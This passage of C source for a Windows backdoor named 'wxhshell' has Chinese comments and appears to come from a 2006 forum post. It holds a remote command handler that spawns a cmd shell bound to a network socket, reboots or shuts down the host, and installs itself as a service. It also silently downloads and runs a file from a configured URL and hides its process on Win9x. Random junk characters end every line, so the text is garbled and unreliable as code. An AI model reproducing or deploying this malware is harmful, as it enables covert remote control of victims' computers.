  } .ihn@eg  
  else { (:k`wh&  
]-OkW.8d1  
    switch(cmd[0]) { } j@@  
  \>k#]4@rp  
  // 帮助 v" TH[}C9D  
  case '?': { u<r('IW0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -+Ji~;b  
    break; 5. UgJ/  
  } J, U~ .c  
  // 安装 j-E>*N}-_  
  case 'i': { D"aQbQP  
    if(Install()) Nxk'!:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .y/?~+N^  
    else j-\u_#kx%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2_ DtzY:=  
    break; Q*o4zW  
    } !H.lVA  
  // 卸载 Q%d[ U4@  
  case 'r': { \:28z  
    if(Uninstall()) WuXRL}!\,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ih(2T i  
    else }eK*)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zDV|n~{w  
    break; U^S:2  
    } nrhpI d  
  // 显示 wxhshell 所在路径 4tKf  
  case 'p': { AMfu|%ZL  
    char svExeFile[MAX_PATH]; hzVO.Q*  
    strcpy(svExeFile,"\n\r"); 9Dkgu ^`  
      strcat(svExeFile,ExeFile); k(^b  
        send(wsh,svExeFile,strlen(svExeFile),0); f}d@G/L  
    break; (Gs g+c   
    } h"m7r4f  
  // 重启 9peB+URV  
  case 'b': { !9Xex?et  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c67!OHumP  
    if(Boot(REBOOT)) cne[-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sTYl' Ieg  
    else { 1 SZa\ ][@  
    closesocket(wsh); 5n#&Hjb*F0  
    ExitThread(0); M" \y2   
    } n-WvIy  
    break; +g30frg+Gl  
    } 5lY9  
  // 关机 KwyXM9h6=  
  case 'd': { M,lu)~H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K|!)<6ZsG7  
    if(Boot(SHUTDOWN)) P1jkoJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3mlO [(  
    else { {$.{VE+v5  
    closesocket(wsh); y['icGU6  
    ExitThread(0);  3".W  
    } >?x Vr  
    break; 3N\X{za  
    } ?!vW&KJZx  
  // 获取shell ThB2U(Wf  
  case 's': { M](U"K?  
    CmdShell(wsh); r73Xh"SL  
    closesocket(wsh); t?Znil|o  
    ExitThread(0); ymqhI\>y#  
    break; 4 .qjTR  
  } IRY2H#:$  
  // 退出 \NRRN eu|  
  case 'x': { % M:"Ai5:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JJO"\^,;~  
    CloseIt(wsh); G_RK3E[FK  
    break; {QJ`.6Kt  
    } %J'_c|EQM  
  // 离开 zE{zX@  
  case 'q': { !<'R%<E3 Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D':A-E  
    closesocket(wsh); *n\qV*|6bI  
    WSACleanup(); )nVx 2m4  
    exit(1); U)6JJv  
    break; ]5CFL$_Q{  
        } ~*Wb MA  
  } H2p;J#cv@  
  } q3t@)+l>*  
>n62csO  
  // 提示信息 p`0Tpgi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B7C6Mau  
} co|0s+%PBq  
  } N11am  
Orgje@c{  
  return; ,.B8hr@H6-  
} cQ%HwYn  
8iB}a\]B  
// shell模块句柄 uNDkK o<M  
int CmdShell(SOCKET sock) Z )I4U  
{ #B[>\D"*  
STARTUPINFO si; a1&^P1.  
ZeroMemory(&si,sizeof(si)); |,crQ'N'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }W J`q`g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Urr1 K)  
PROCESS_INFORMATION ProcessInfo; eX/$[SL[  
char cmdline[]="cmd"; UgJHSl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Hf,MLMdTf  
  return 0; |ipppE=  
} L K$hV"SYb  
J/ ~]A1fP6  
// 自身启动模式 }I0^nv1  
int StartFromService(void) 6W o7q\"  
{ ubw ]}sfM#  
typedef struct MmB-SR[>P  
{ >Ww F0W9?  
  DWORD ExitStatus; muLTYgaM  
  DWORD PebBaseAddress; <dZ{E7l  
  DWORD AffinityMask; :1I,:L  
  DWORD BasePriority; 1Ppzch7  
  ULONG UniqueProcessId; 6 9Cxh  
  ULONG InheritedFromUniqueProcessId; lPQH_+)Z"  
}   PROCESS_BASIC_INFORMATION; *Bj G3Jc5  
B^Q#@[T   
PROCNTQSIP NtQueryInformationProcess; 6lGL.m'Ra  
(`N/1}vk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~a}pYLxl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4KKNw9L)  
d:aQlW;}  
  HANDLE             hProcess; \GN5Sy]r  
  PROCESS_BASIC_INFORMATION pbi; 3ml|`S  
$n) w4p_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }% =P(%-  
  if(NULL == hInst ) return 0; ) )Nc|`  
0#ph1a<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >_".  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5VN4A<))  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ??Lxb% 7R  
dK-G%5)r  
  if (!NtQueryInformationProcess) return 0; FWj~bn  
!}%giF$-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [ kknY+n1  
  if(!hProcess) return 0; Ptg73Gm&R  
'nul{RE*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n.)-aRu[  
#r C% \  
  CloseHandle(hProcess); K{c^.&6D  
2;3q](d   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N=kACEo  
if(hProcess==NULL) return 0; ^s-3U  
kF5}S8B  
HMODULE hMod; xiiZ'U  
char procName[255]; >3JOQ;:d8  
unsigned long cbNeeded; DI\^ +P  
9f "*O j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CfAqMH*ip  
0t~--/lA  
  CloseHandle(hProcess); x8H)m+AW  
Hi9]M3Ub  
if(strstr(procName,"services")) return 1; // 以服务启动 l/]P6 @N  
Kfi A 7W  
  return 0; // 注册表启动 cb+!H>+  
} R#t~i&v/  
psMagzr&)e  
// 主模块 4xlsdq8`t  
int StartWxhshell(LPSTR lpCmdLine) P_;oSN|>  
{ LZeR .8XM>  
  SOCKET wsl; ;rFa I^  
BOOL val=TRUE; srC jq  
  int port=0; 1yo@CaW[\  
  struct sockaddr_in door; * PZ=$>r  
# ;9KDt@  
  if(wscfg.ws_autoins) Install(); H/b(dbs  
yP@= x!$  
port=atoi(lpCmdLine); } E=mZZ)  
lIf Our  
if(port<=0) port=wscfg.ws_port; j6\{j#q  
I%ez_VG  
  WSADATA data; Lh+^GQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]KfHuYjM  
,Ya&M@^Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pD]Ry" ZG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?TXFOr]g]2  
  door.sin_family = AF_INET; b x@CzXre;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e'jR<ln|  
  door.sin_port = htons(port); 2`z+_DA  
E?;W@MJi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &,\S<B2.  
closesocket(wsl); U;^{uQJ+,  
return 1; 3RD Q{&J:  
} .RT5sj\d  
5Hr"}|J<8  
  if(listen(wsl,2) == INVALID_SOCKET) { UkdQ#b1  
closesocket(wsl); [~J4:yDd=  
return 1; N9i>81tY  
} :( `Q4D~l  
  Wxhshell(wsl); .{Xi&[jw  
  WSACleanup(); k~?@~xm,R  
@a~K#Bvlm  
return 0; f_ ::?  
-Ju!2by  
} xGA%/dy,;  
1.uyu  
// 以NT服务方式启动 1*a2s2G '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w<'mV^S  
{ <"t >!I  
DWORD   status = 0; 'd28YjtoX  
  DWORD   specificError = 0xfffffff; 6PTD%Rf\  
$ }&6p6|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |OC6yN *P)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wk3yz6V2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )qKfTt N`  
  serviceStatus.dwWin32ExitCode     = 0; n>@(gDq  
  serviceStatus.dwServiceSpecificExitCode = 0; L 0|u^J  
  serviceStatus.dwCheckPoint       = 0; rR7}SEa  
  serviceStatus.dwWaitHint       = 0; m1(rAr1  
dkXK0k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T# 8O:  
  if (hServiceStatusHandle==0) return; s^ 6S{XJ  
+>s[w{Svy  
status = GetLastError(); F`3I~(  
  if (status!=NO_ERROR) rUj]6j=e  
{ y :457R2F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L:S[QwQu8  
    serviceStatus.dwCheckPoint       = 0; 9@!`,Co  
    serviceStatus.dwWaitHint       = 0; b[/-lNrc  
    serviceStatus.dwWin32ExitCode     = status; 'a0$74fz  
    serviceStatus.dwServiceSpecificExitCode = specificError; z-()7WY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k: c)|2  
    return; !7_Q_h',  
  } 5T,`j=\  
a.q=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SL*B `P~{  
  serviceStatus.dwCheckPoint       = 0; #"TTI vd0  
  serviceStatus.dwWaitHint       = 0; En[cg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *t~( _j  
} E*CY/F I_  
[Y5B$7|s<  
// 处理NT服务事件,比如:启动、停止 WT1ch0~2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P[D ^*}  
{ H3&$:h  
switch(fdwControl) 2?HLEiI1  
{ vmL0H)q  
case SERVICE_CONTROL_STOP: ba ,2.|  
  serviceStatus.dwWin32ExitCode = 0; @o_-UsUX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R7vO,kZ6Q  
  serviceStatus.dwCheckPoint   = 0; )4DF9JpD  
  serviceStatus.dwWaitHint     = 0; xvb5-tK -  
  { oas}8A)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A9[l5E  
  } 32dR`qb  
  return; 3]V" 9+  
case SERVICE_CONTROL_PAUSE: Uc6P@O*,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <zrGPwk  
  break;  Qq>M}  
case SERVICE_CONTROL_CONTINUE: hH%@8'1v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2jA-y!(e  
  break; JEj.D=@[  
case SERVICE_CONTROL_INTERROGATE: D;m>9{=  
  break; |o6B:NH,rg  
}; uP<tP:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?&"-y)FG  
} q*52|?  
@<;0 h|  
// 标准应用程序主函数 O9jqeF`L=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4R.rSsAH  
{ %gmf  
Ioj F/  
// 获取操作系统版本 U#-89.x  
OsIsNt=GetOsVer(); #p Ld';  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kk-A?ju@g  
H:2#/1Oz>  
  // 从命令行安装 LLCMp3qBz  
  if(strpbrk(lpCmdLine,"iI")) Install(); z^@98:x  
c?IFI   
  // 下载执行文件 v, 9MAZ,  
if(wscfg.ws_downexe) { F`+}p-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <$/'iRtRzW  
  WinExec(wscfg.ws_filenam,SW_HIDE); )nQA) uz  
} j#zUO&Q@  
P6@(nGgK<  
if(!OsIsNt) { !Yd7&#s  
// 如果时win9x,隐藏进程并且设置为注册表启动 !bRoNP  
HideProc(); ?X~Keb  
StartWxhshell(lpCmdLine); 94\k++kc  
} 83e{rcs  
else p%ek)tT  
  if(StartFromService()) \$W>@w0  
  // 以服务方式启动 n}}$-xl  
  StartServiceCtrlDispatcher(DispatchTable); rISg`-  
else p78X,44xg  
  // 普通方式启动 *+rO3% ;t  
  StartWxhshell(lpCmdLine); ;(5b5PA  
iW9G0Ay  
return 0; '+JU(x{CCl  
}
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只看该作者 1 发表于: 2006-10-10
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